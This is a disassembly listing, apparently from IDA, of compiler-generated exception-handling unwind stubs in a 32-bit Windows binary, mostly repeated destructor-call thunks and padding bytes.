		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403FC0	proc near		; DATA XREF: sub_403FC0+2o
		mov	eax, offset dword_43E890
		jmp	sub_4367C8
SEH_403FC0	endp

; ---------------------------------------------------------------------------
		db 2Eh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438208:				; DATA XREF: ___:0043E974o
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404640	proc near		; DATA XREF: sub_404640+2o
		mov	eax, offset dword_43E948
		jmp	sub_4367C8
SEH_404640	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43828B:				; DATA XREF: ___:0043E9FCo
		lea	ecx, [ebp-100h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438296:				; DATA XREF: ___:0043EA04o
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-100h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-134h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E8h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404C70	proc near		; DATA XREF: sub_404C70+8o
		mov	eax, offset dword_43E9D0
		jmp	sub_4367C8
SEH_404C70	endp

; ---------------------------------------------------------------------------
		db 8Bh dup(0CCh)
; ---------------------------------------------------------------------------


loc_438530:				; DATA XREF: ___:0043EBD4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-28h]
		and	eax, 1
		test	eax, eax
		jz	locret_43854E
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_43854E:				; CODE XREF: ___:00438540j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4066E0	proc near		; DATA XREF: sub_4066E0+2o
		mov	eax, offset dword_43EBA8
		jmp	sub_4367C8
SEH_4066E0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------


loc_438570:				; DATA XREF: ___:0043EC0Co
		lea	ecx, [ebp-18Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-198h]
		and	eax, 1
		test	eax, eax
		jz	locret_438594
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_438594:				; CODE XREF: ___:00438586j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_406890	proc near		; DATA XREF: sub_406890+2o
		mov	eax, offset dword_43EBE0
		jmp	sub_4367C8
SEH_406890	endp

; ---------------------------------------------------------------------------
		db 11h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-454h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4385BB:				; DATA XREF: ___:0043EC44o
		lea	ecx, [ebp-43Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4385C6:				; DATA XREF: ___:0043EC4Co
		lea	ecx, [ebp-424h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_406C30	proc near		; DATA XREF: sub_406C30+8o
		mov	eax, offset dword_43EC18
		jmp	sub_4367C8
SEH_406C30	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407030	proc near		; DATA XREF: sub_407030+2o
		mov	eax, offset dword_43EC58
		jmp	sub_4367C8
SEH_407030	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+8]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407660	proc near		; DATA XREF: sub_407660+8o
		mov	eax, offset dword_43EC88
		jmp	sub_4367C8
SEH_407660	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+20h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438638:				; DATA XREF: ___:0043ECE4o
		lea	ecx, [ebp+8]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4076F0	proc near		; DATA XREF: sub_4076F0+8o
		mov	eax, offset dword_43ECB8
		jmp	sub_4367C8
SEH_4076F0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-174h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43865B:				; DATA XREF: ___:0043ED1Co
		lea	ecx, [ebp-1A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-204h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-234h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-264h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-294h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-15Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-114h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-144h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0CCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-21Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0B4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-9Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-330h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-318h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-34Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-12Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-300h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-2FCh]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407790	proc near		; DATA XREF: sub_407790+2o
		mov	eax, offset dword_43ECF0
		jmp	sub_4367C8
SEH_407790	endp

; ---------------------------------------------------------------------------
		db 0CAh	dup(0CCh)
		dd 90C84D8Dh, 0C56A4CE9h
		db 75h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_409580	proc near		; DATA XREF: sub_409580+2o
		mov	eax, offset dword_43F098
		jmp	sub_4367C8
SEH_409580	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40A290	proc near		; DATA XREF: sub_40A290+2o
		mov	eax, offset dword_43F0C8
		jmp	sub_4367C8
SEH_40A290	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-38h]
		and	eax, 1
		test	eax, eax
		jz	locret_438A86
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_438A86:				; CODE XREF: ___:00438A78j
		retn
; ---------------------------------------------------------------------------


loc_438A87:				; DATA XREF: ___:0043F124o
		lea	ecx, [ebp-34h]
		jmp	sub_40158C
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40A430	proc near		; DATA XREF: sub_40A430+2o
		mov	eax, offset dword_43F0F8
		jmp	sub_4367C8
SEH_40A430	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 90C84D8Dh, 0C569CCE9h
		db 75h
; ---------------------------------------------------------------------------


loc_438AB9:				; DATA XREF: ___:0040A952o
		mov	eax, offset dword_43F138
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40AE10	proc near		; DATA XREF: sub_40AE10+5o
		mov	eax, offset dword_43F168
		jmp	sub_4367C8
SEH_40AE10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40AF90	proc near		; DATA XREF: sub_40AF90+5o
		mov	eax, offset dword_43F1C8
		jmp	sub_4367C8
SEH_40AF90	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_438AFB:				; DATA XREF: ___:0043F254o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401555

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B0B0	proc near		; DATA XREF: sub_40B0B0+2o
		mov	eax, offset dword_43F228
		jmp	sub_4367C8
SEH_40B0B0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_438B4B:				; DATA XREF: ___:0043F29Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401555

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B170	proc near		; DATA XREF: sub_40B170+2o
		mov	eax, offset dword_43F270
		jmp	sub_4367C8
SEH_40B170	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B210	proc near		; DATA XREF: sub_40B210+2o
		mov	eax, offset dword_43F2B8
		jmp	sub_4367C8
SEH_40B210	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438BC8:				; DATA XREF: ___:0043F324o
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B430	proc near		; DATA XREF: sub_40B430+2o
		mov	eax, offset dword_43F2F8
		jmp	sub_4367C8
SEH_40B430	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438BF8:				; DATA XREF: ___:0040B5F2o
		mov	eax, offset dword_43F338
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438C30:				; DATA XREF: ___:0040B8D8o
		mov	eax, offset dword_43F368
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40C360	proc near		; DATA XREF: sub_40C360+2o
		mov	eax, offset dword_43F3B0
		jmp	sub_4367C8
SEH_40C360	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-0A78h]
		jmp	loc_401AFF
; ---------------------------------------------------------------------------


loc_438C7B:				; DATA XREF: ___:0043F40Co
		lea	ecx, [ebp-0A3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438C86:				; DATA XREF: ___:0043F414o
		lea	ecx, [ebp-0A54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0A3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40C400	proc near		; DATA XREF: sub_40C400+8o
		mov	eax, offset dword_43F3E0
		jmp	sub_4367C8
SEH_40C400	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CB10	proc near		; DATA XREF: sub_40CB10+2o
		mov	eax, offset dword_43F428
		jmp	sub_4367C8
SEH_40CB10	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-260h]
		jmp	loc_40226B
; ---------------------------------------------------------------------------


loc_438CEB:				; DATA XREF: ___:0043F484o
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438CF6:				; DATA XREF: ___:0043F48Co
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438D01:				; DATA XREF: ___:0043F494o
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438D0C:				; DATA XREF: ___:0043F49Co
		lea	ecx, [ebp-278h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CBB0	proc near		; DATA XREF: sub_40CBB0+8o
		mov	eax, offset dword_43F458
		jmp	sub_4367C8
SEH_40CBB0	endp

; ---------------------------------------------------------------------------
		db 1Fh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438D4B:				; DATA XREF: ___:0043F4D4o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CE60	proc near		; DATA XREF: sub_40CE60+2o
		mov	eax, offset dword_43F4A8
		jmp	sub_4367C8
SEH_40CE60	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438D7B:				; DATA XREF: ___:0043F50Co
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438D86:				; DATA XREF: ___:0040CEE2o
		mov	eax, offset dword_43F4E0
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40D130	proc near		; DATA XREF: sub_40D130+2o
		mov	eax, offset dword_43F518
		jmp	sub_4367C8
SEH_40D130	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-16Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438DEB:				; DATA XREF: ___:0043F58Co
		lea	ecx, [ebp-184h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40D580	proc near		; DATA XREF: sub_40D580+2o
		mov	eax, offset dword_43F560
		jmp	sub_4367C8
SEH_40D580	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-604h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-634h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-664h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-67Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-61Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-58Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-694h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-64Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40DB40	proc near		; DATA XREF: sub_40DB40+2o
		mov	eax, offset dword_43F5D0
		jmp	sub_4367C8
SEH_40DB40	endp

; ---------------------------------------------------------------------------
		db 27h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438F28:				; DATA XREF: ___:0043F694o
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40E220	proc near		; DATA XREF: sub_40E220+2o
		mov	eax, offset dword_43F668
		jmp	sub_4367C8
SEH_40E220	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
